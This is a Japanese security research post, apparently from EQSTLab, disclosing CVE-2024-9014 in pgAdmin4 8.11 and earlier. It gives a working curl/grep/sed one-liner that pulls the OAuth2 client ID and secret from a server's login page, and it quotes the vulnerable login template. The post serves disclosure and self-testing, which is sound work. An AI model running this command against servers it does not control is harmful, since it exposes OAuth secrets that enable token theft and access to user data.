この投稿は EQSTLab が公開した研究記事です。
★ CVE-2024-9014 機密情報漏えい PoC ★
CVE-2024-9014 : pgAdmin4 の機密情報漏えい
解説: pgAdmin バージョン 8.11 以前には、OAuth2 認証におけるセキュリティ上の欠陥があります。この脆弱性により、攻撃者はクライアント ID とシークレットを取得できる可能性があり、ユーザーデータへの不正アクセスにつながります。
curl [URL_TO_TEST]/login?next=/ | grep -o '"oauth2Config": \[.*\]' | sed 's/"oauth2Config": //'
curl http://localhost:8000/login?next=/ | grep -o '"oauth2Config": \[.*\]' | sed 's/"oauth2Config": //'
pgadmin4-8.9 および pgadmin4-8.12

この箇所で、config.OAUTH2_CONFIG 変数は OAUTH2_CLIENT_ID と OAUTH2_CLIENT_SECRET を含む OAUTH2 設定ファイルを返します。
{% set page_name = 'login_user' %}
{% set user_language = request.cookies.get('PGADMIN_LANGUAGE') or 'en' %}
{% set ns = namespace(langOptions=[]) %}
{% for key, lang in config.LANGUAGES.items() %}
{% set _ = ns.langOptions.append({'value': key, 'label': lang}) %}
{% endfor %}
{% set page_props = {
'userLanguage': user_language,
'langOptions': ns.langOptions,
'forgotPassUrl': url_for('browser.forgot_password'),
'loginUrl': url_for('authenticate.login'),
'csrfToken': csrf_token(),
'authSources': config.AUTHENTICATION_SOURCES,
'authSourcesEnum': {
'OAUTH2': config.OAUTH2,
'KERBEROS': config.KERBEROS,
},
'oauth2Config': config.OAUTH2_CONFIG,
'loginBanner': config.LOGIN_BANNER|safe
} %}
{% extends "security/render_page.html" %}

OAuth の秘密パラメータを特定し保護することは非常に重要です。“client_id” は安全に公開できますが、“client_secret” を公開すると重大なリスクが生じます。 client_secret が漏えいした場合、攻撃者はアプリケーションのアイデンティティと信頼を悪用して、ユーザーの “access token” や個人情報を窃取する可能性があります。
このリポジトリは、CVE-2024-9014 に関する機密情報を漏えいさせることを意図したものではありません。このプロジェクトの目的は、この脆弱性について学び、自身のアプリケーションをテストする際の助けとなることです。
当社は CVE およびマルウェア分析を毎月公開しています。ご興味があれば、以下のリンクから当社の出版物をご確認ください。 https://www.skshieldus.com/eng/business/insight.do